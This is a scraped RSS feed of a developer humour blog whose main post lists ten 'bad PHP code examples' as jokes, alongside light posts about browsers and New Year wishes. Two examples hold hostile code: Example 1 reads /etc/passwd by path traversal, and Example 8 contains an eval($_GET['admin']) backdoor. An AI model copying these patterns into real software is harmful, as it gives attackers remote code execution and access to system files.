DevtheWeb.NET » Fun http://www.devtheweb.net/blog Tue, 06 Dec 2011 19:25:18 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 PHP Bad Code Examples http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/ http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/#comments Wed, 18 Aug 2010 12:31:29 +0000 admin http://www.devtheweb.net/blog/?p=1238 I’m little tired of examples how we should write out code. So, here’s a list of really bad PHP code examples. Enjoy :)

Example 1.

<?php
  phpinfo();
  if (file_exist('../../../../etc/passwd'))
  {
    include('../../../../etc/passwd');
  }

Example 2.

if (!isset($_GET['month'])) {
    ...
}
else {
    if (isset($_POST['submit_fin'])) {
        ...
    }
}

Example 3.

function InitBVar(&$var)
{
	$var = ($var=="Y") ? "Y" : "N";
}

Example 4.

function htmlspecialcharsex($str)
{
	if (strlen($str)>0)
	{
		$str = str_replace("&amp;", "&amp;amp;", $str);
		$str = str_replace("&lt;", "&amp;lt;", $str);
		$str = str_replace("&gt;", "&amp;gt;", $str);
		$str = str_replace("&quot;", "&amp;quot;", $str);
		$str = str_replace("<", "&lt;", $str);
		$str = str_replace(">", "&gt;", $str);
		$str = str_replace(""", "&quot;", $str);
	}
	return $str;
}

Example 5.

str_replace("t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);

Example 6.

$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}

Example 7.

$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);

Example 8.

<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);
?>

Example 9.

if (isset($param) && $param!=null && $param!=0 && $param>1) {
  sendRequest($param);
}

Example 10.

switch (true) {
		case $formid == 'search_form' :
		case $formid == 'search_theme_form' :
			$form['#action'] = getlangpref() . ltrim($form['#action'], '/');
			$form['#submit']['gpcustom_customsubmit'] = array();
			break;
		case $formid == 'localizernode_translations' :
			foreach ( $form['languages'] as $key => $value ) {
				if ( !is_array($value['#options']) ) continue;
				asort($form['languages'][$key]['#options']);
			}
			break;
		case $formid == 'contact_mail_page' :
			if ( $url = variable_get('gpcustom-contact-form-redirect',
false) ) $form['#redirect'] = $url;
			break;

	}
]]> http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/feed/ 13 Java 4-Ever http://www.devtheweb.net/blog/2010/06/25/java-4-ever/ http://www.devtheweb.net/blog/2010/06/25/java-4-ever/#comments Fri, 25 Jun 2010 14:16:21 +0000 admin http://www.devtheweb.net/blog/?p=1207 for the fans of Java and .not

]]> http://www.devtheweb.net/blog/2010/06/25/java-4-ever/feed/ 0 Bad Habits When You Use a Different Browser than Firefox http://www.devtheweb.net/blog/2010/01/27/bad-habits-when-you-use-a-different-browser-than-firefox/ http://www.devtheweb.net/blog/2010/01/27/bad-habits-when-you-use-a-different-browser-than-firefox/#comments Wed, 27 Jan 2010 08:45:49 +0000 admin http://www.devtheweb.net/blog/?p=813 I use Firefox for my default browser, but sometimes I test my websites under other browsers, very rarely but it happens :) Then I realize about my bad habits by my Firefox usage:

1. F12 doesn’t work

When I want to find the bug in some element  I press F12 to test it with FireBug, but wait … I’m on different browser now :)

2. Cannot open New Tab

It happens when I say to myself: Testing if site working is so boring, let’s open youtube for 5 minutes in new tab, but wait … I’m on IE 6, not tabs :)

3. Where’s FireFtp !?

When all in the site seems to work, I can upload updated files with FireFtp, I go on Tools Menu and search for FireFtp … wrong browser :)

4. Where’s View Image in Right-click pop-up menu?

It happens when I open new tab, open some website and I want just to view some image, but in the Right-click pop-up menu there’s no ‘View Image’ Item :)

5. No built in search engine

Sometimes, I decide to search for something in google, but without opening google.com, I just type the searching text in the url textbox of the browser … :)

What do you like most in the Firefox browser?
 
 
]]> http://www.devtheweb.net/blog/2010/01/27/bad-habits-when-you-use-a-different-browser-than-firefox/feed/ 1 Happy New 11111011010 Year http://www.devtheweb.net/blog/2009/12/31/happy-new-11111011010-year/ http://www.devtheweb.net/blog/2009/12/31/happy-new-11111011010-year/#comments Thu, 31 Dec 2009 16:51:37 +0000 admin http://www.devtheweb.net/blog/?p=333 Here’s a list of 2010 wishes for the new 2010 year:

1. less bugs

2. more money for your work

3. less work at the office

4. more work at home

5. play more at work

6. play more at home

7. get a new laptop

8. Working late in the office ONLY with a sexy colleague

for (int i = 9; i <= 2010; ++i)
{
cout << i << “. be a happy developer!”;
}

]]> http://www.devtheweb.net/blog/2009/12/31/happy-new-11111011010-year/feed/ 0 Hard Drive Weight Increasing http://www.devtheweb.net/blog/2009/08/31/hard-drive-weight-increasing/ http://www.devtheweb.net/blog/2009/08/31/hard-drive-weight-increasing/#comments Mon, 31 Aug 2009 09:53:04 +0000 admin http://dev-the-web.com/blog/?p=173 > I found that screenshot in a developer’s forum today. It just made my day:

00036683

]]> http://www.devtheweb.net/blog/2009/08/31/hard-drive-weight-increasing/feed/ 0